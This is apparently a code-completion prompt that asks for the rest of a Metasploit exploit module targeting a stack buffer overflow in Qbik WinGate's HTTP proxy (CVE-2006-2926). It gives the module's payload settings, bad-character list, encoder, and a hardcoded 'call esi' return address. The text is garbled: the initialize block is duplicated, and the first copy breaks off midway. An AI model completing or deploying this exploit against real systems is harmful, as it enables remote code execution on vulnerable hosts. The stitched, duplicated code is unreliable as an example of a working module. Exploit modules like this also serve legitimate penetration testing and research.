You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: qbik_wingate_wwwproxy.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/proxy
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Qbik WinGate version
        6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
        HTTP proxy service on port 80, a remote attacker could overflow
        a buffer and execute arbitrary code.
      },
      'Author'         => 'aushack',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-2926' ],
          [ 'OSVDB', '26214' ],
          [ 'BID', '18312' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Qbik WinGate version
        6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
        HTTP proxy service on port 80, a remote attacker could overflow
        a buffer and execute arbitrary code.
      },
      'Author'         => 'aushack',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-2926' ],
          [ 'OSVDB', '26214' ],
          [ 'BID', '18312' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2006-06-07',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end